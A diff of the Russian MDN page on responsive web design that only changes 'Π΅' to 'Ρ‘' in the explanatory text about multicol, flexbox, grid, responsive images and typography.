@@ -139,11 +139,11 @@ original_slug: Learn/CSS/CSS_layout/ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ_Π΄ΠΈΠ·Π°ΠΉΠ½
<h2 id="Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅_Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ_ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ²">Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ²</h2>
-<p>Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">ΠœΠ°ΠΊΠ΅Ρ‚ с нСсколькими столбцами</a>, <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>, ΠΈ <a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid</a> ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Они всС ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π³ΠΈΠ±ΠΊΡƒΡŽ сСтку ΠΈ Π΄Π°ΡŽΡ‚ Π²Π°ΠΌ Π±ΠΎΠ»Π΅Π΅ Π»Π΅Π³ΠΊΠΈΠΉ способ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ.</p>
+<p>Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">ΠœΠ°ΠΊΠ΅Ρ‚ с нСсколькими столбцами</a>, <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>, ΠΈ <a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid</a> ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Они всС ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π³ΠΈΠ±ΠΊΡƒΡŽ сСтку ΠΈ Π΄Π°ΡŽΡ‚ Π²Π°ΠΌ Π±ΠΎΠ»Π΅Π΅ Π»Ρ‘Π³ΠΊΠΈΠΉ способ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ.</p>
<h3 id="Multicol">Multicol</h3>
-<p>Π‘Π°ΠΌΡ‹ΠΉ старый ΠΈΠ· этих ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²Β β€” это multicol, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π·Π°Π΄Π°Π΅Ρ‚Π΅ <code>column-count</code>, это ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ Ρ‚ΠΎ Π½Π° сколько столбцов Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ ваш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚. Π”Π°Π»Π΅Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ рассчитываСт ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€, Ρ€Π°Π·ΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ измСнится согласно Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ экрана.</p>
+<p>Π‘Π°ΠΌΡ‹ΠΉ старый ΠΈΠ· этих ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²Β β€” это multicol, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π·Π°Π΄Π°Ρ‘Ρ‚Π΅ <code>column-count</code>, это ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ Ρ‚ΠΎ Π½Π° сколько столбцов Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ ваш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚. Π”Π°Π»Π΅Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ рассчитываСт ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€, Ρ€Π°Π·ΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ измСнится согласно Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ экрана.</p>
<pre class="brush: css notranslate"><code>.container {
column-count: 3;
@@ -173,12 +173,12 @@ original_slug: Learn/CSS/CSS_layout/ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ_Π΄ΠΈΠ·Π°ΠΉΠ½
</pre>
<div class="blockIndicator note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΌΡ‹ пСрСстроили простой ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚ Π²Ρ‹ΡˆΠ΅, Π² этот Ρ€Π°Π· ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ flexbox. Π’Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ нас большС Π½Π΅ Π½Π°Π΄ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ странныС ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π½Ρ‹Π΅ значСния для подсчСта Ρ€Π°Π·ΠΌΠ΅Ρ€Π° столбцов: <a href="https://mdn.github.io/css-examples/learn/rwd/flex-based-rwd.html">ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/flex-based-rwd.html">исходный ΠΊΠΎΠ΄</a>.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΌΡ‹ пСрСстроили простой ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚ Π²Ρ‹ΡˆΠ΅, Π² этот Ρ€Π°Π· ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ flexbox. Π’Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ нас большС Π½Π΅ Π½Π°Π΄ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ странныС ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π½Ρ‹Π΅ значСния для подсчёта Ρ€Π°Π·ΠΌΠ΅Ρ€Π° столбцов: <a href="https://mdn.github.io/css-examples/learn/rwd/flex-based-rwd.html">ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/flex-based-rwd.html">исходный ΠΊΠΎΠ΄</a>.</p>
</div>
<h3 id="CSS_grid">CSS grid</h3>
-<p>Π’ ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ CSS Grid Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ измСрСния <code>fr</code> ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Ρ€Π°ΡΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ доступноС пространство ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°ΠΌΠΈ сСтки. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ создаСт grid ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ с трСмя Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°ΠΌΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ <code>1fr</code>. Π­Ρ‚ΠΎ создаст Ρ‚Ρ€ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ, каТдая Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‰Π°Ρ ΠΎΠ΄Π½Ρƒ Ρ‡Π°ΡΡ‚ΡŒ свободного пространства Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅. <span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎΠ± этом ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π΅ ΠΊ созданию сСтки Π² Ρ‚Π΅ΠΌΠ΅ Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠœΠ°ΠΊΠ΅Ρ‚Π° Grid Π² Ρ€Π°Π·Π΄Π΅Π»Π΅Β </span></span><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids#Flexible_grids_with_the_fr_unit">Π“ΠΈΠ±ΠΊΠΈΠ΅ grids с Π΅Π΄ΠΈΠ½ΠΈΡ†Π°ΠΌΠΈ fr</a>.</p>
+<p>Π’ ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ CSS Grid Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ измСрСния <code>fr</code> ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Ρ€Π°ΡΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ доступноС пространство ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°ΠΌΠΈ сСтки. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ создаёт grid ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ с трСмя Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°ΠΌΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ <code>1fr</code>. Π­Ρ‚ΠΎ создаст Ρ‚Ρ€ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ, каТдая Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‰Π°Ρ ΠΎΠ΄Π½Ρƒ Ρ‡Π°ΡΡ‚ΡŒ свободного пространства Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅. <span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎΠ± этом ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π΅ ΠΊ созданию сСтки Π² Ρ‚Π΅ΠΌΠ΅ Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠœΠ°ΠΊΠ΅Ρ‚Π° Grid Π² Ρ€Π°Π·Π΄Π΅Π»Π΅Β </span></span><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids#Flexible_grids_with_the_fr_unit">Π“ΠΈΠ±ΠΊΠΈΠ΅ grids с Π΅Π΄ΠΈΠ½ΠΈΡ†Π°ΠΌΠΈ fr</a>.</p>
<pre class="brush: css notranslate"><code>.container {
display: grid;
@@ -187,12 +187,12 @@ original_slug: Learn/CSS/CSS_layout/ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ_Π΄ΠΈΠ·Π°ΠΉΠ½
</pre>
<div class="blockIndicator note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: вСрсия grid ΠΌΠ°ΠΊΠ΅Ρ‚Π° Π΅Ρ‰Π΅ ΠΏΡ€ΠΎΡ‰Π΅, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ столбцы Π² .wrapper: <a href="https://mdn.github.io/css-examples/learn/rwd/grid-based-rwd.html">ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/grid-based-rwd.html">исходный ΠΊΠΎΠ΄</a>.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: вСрсия grid ΠΌΠ°ΠΊΠ΅Ρ‚Π° Π΅Ρ‰Ρ‘ ΠΏΡ€ΠΎΡ‰Π΅, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ столбцы Π² .wrapper: <a href="https://mdn.github.io/css-examples/learn/rwd/grid-based-rwd.html">ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/grid-based-rwd.html">исходный ΠΊΠΎΠ΄</a>.</p>
</div>
<h2 id="ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹Π΅_изобраТСния">ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹Π΅ изобраТСния</h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘Π°ΠΌΡ‹ΠΉ простой ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΠΊ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌ изобраТСниям Π±Ρ‹Π» описан</span></span> Π² Ρ€Π°Π½Π½ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… ΠœΠ°Ρ€ΠΊΠΎΡ‚Ρ‚Π° ΠΏΠΎ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠΌΡƒ Π΄ΠΈΠ·Π°ΠΉΠ½Ρƒ. <span class="tlid-translation translation" lang="ru"><span title="">По сути, Π²Ρ‹ Π±Π΅Ρ€Π΅Ρ‚Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ максимального Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠ³Π»ΠΎ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ, ΠΈ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚Π΅ Π΅Π³ΠΎ.</span></span> Π­Ρ‚ΠΎΡ‚ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ Π΄ΠΎ сих ΠΏΠΎΡ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΈ Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ Ρ‚Π°Π±Π»ΠΈΡ† стилСй Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ CSS:</p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘Π°ΠΌΡ‹ΠΉ простой ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΠΊ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌ изобраТСниям Π±Ρ‹Π» описан</span></span> Π² Ρ€Π°Π½Π½ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… ΠœΠ°Ρ€ΠΊΠΎΡ‚Ρ‚Π° ΠΏΠΎ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠΌΡƒ Π΄ΠΈΠ·Π°ΠΉΠ½Ρƒ. <span class="tlid-translation translation" lang="ru"><span title="">По сути, Π²Ρ‹ Π±Π΅Ρ€Π΅Ρ‚Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ максимального Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠ³Π»ΠΎ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ, ΠΈ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚Π΅ Π΅Π³ΠΎ.</span></span> Π­Ρ‚ΠΎΡ‚ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ Π΄ΠΎ сих ΠΏΠΎΡ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΈ Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ Ρ‚Π°Π±Π»ΠΈΡ† стилСй Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ CSS:</p>
<pre class="brush: css notranslate"><code>img {
max-width: 100%;
@@ -209,9 +209,9 @@ original_slug: Learn/CSS/CSS_layout/ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ_Π΄ΠΈΠ·Π°ΠΉΠ½
<h2 id="ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Π°Ρ_типография">ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Π°Ρ типография</h2>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ΠΎΠΌ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠ³ΠΎ Π΄ΠΈΠ·Π°ΠΉΠ½Π°, Π½Π΅ освСщСнного Ρ€Π°Π½Π΅Π΅ Π² Ρ€Π°Π±ΠΎΡ‚Π΅, Π±Ρ‹Π»Π° идСя ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠΉ Ρ‚ΠΈΠΏΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ. Π“Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΎΠ½Π° описываСт ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΡˆΡ€ΠΈΡ„Ρ‚Π° Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… media queries для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΠΈΠ»ΠΈ ΠΌΠ΅Π½ΡŒΡˆΡƒΡŽ ΠΏΠ»ΠΎΡ‰Π°Π΄ΡŒ экрана.</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ΠΎΠΌ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠ³ΠΎ Π΄ΠΈΠ·Π°ΠΉΠ½Π°, Π½Π΅ освСщённого Ρ€Π°Π½Π΅Π΅ Π² Ρ€Π°Π±ΠΎΡ‚Π΅, Π±Ρ‹Π»Π° идСя ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠΉ Ρ‚ΠΈΠΏΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ. Π“Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΎΠ½Π° описываСт ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΡˆΡ€ΠΈΡ„Ρ‚Π° Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… media queries для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΠΈΠ»ΠΈ ΠΌΠ΅Π½ΡŒΡˆΡƒΡŽ ΠΏΠ»ΠΎΡ‰Π°Π΄ΡŒ экрана.</p>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°Π΄Π°Ρ‚ΡŒ Π½Π°ΡˆΠ΅ΠΌΡƒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ уровня <code>4rem</code>, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π² Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ€Π°Π·Π° большС нашСго Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΡˆΡ€ΠΈΡ„Ρ‚Π°. Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ большой Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ! ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ этот гигантский Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° экранах Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ², поэтому ΠΌΡ‹ сначала создаСм мСньший Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ media queries Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΠ°Ρ‚ΡŒ Π΅Π³ΠΎ для Π±ΠΎΠ»ΡŒΡˆΠΈΡ… экранов Ссли ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ Ρ‡Ρ‚ΠΎ Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΅ΡΡ‚ΡŒ экран Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ <code>1200px</code>.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°Π΄Π°Ρ‚ΡŒ Π½Π°ΡˆΠ΅ΠΌΡƒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ уровня <code>4rem</code>, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π² Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ€Π°Π·Π° большС нашСго Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΡˆΡ€ΠΈΡ„Ρ‚Π°. Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ большой Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ! ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ этот гигантский Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° экранах Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ², поэтому ΠΌΡ‹ сначала создаём мСньший Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ media queries Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΠ°Ρ‚ΡŒ Π΅Π³ΠΎ для Π±ΠΎΠ»ΡŒΡˆΠΈΡ… экранов Ссли ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ Ρ‡Ρ‚ΠΎ Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΅ΡΡ‚ΡŒ экран Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ <code>1200px</code>.</p>
<pre class="brush: css notranslate"><code>html {
font-size: 1em;
@@ -228,7 +228,7 @@ h1 {
} </code>
</pre>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠœΡ‹ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ наш ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠΉ сСтки grid, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π» Π² сСбя Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ описанный ΠΌΠ΅Ρ‚ΠΎΠ΄.</span> <span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ мСняСт Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹, ΠΊΠΎΠ³Π΄Π° ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π² Π²Π΅Ρ€ΡΠΈΡŽ с двумя столбцами.</span></span></p>
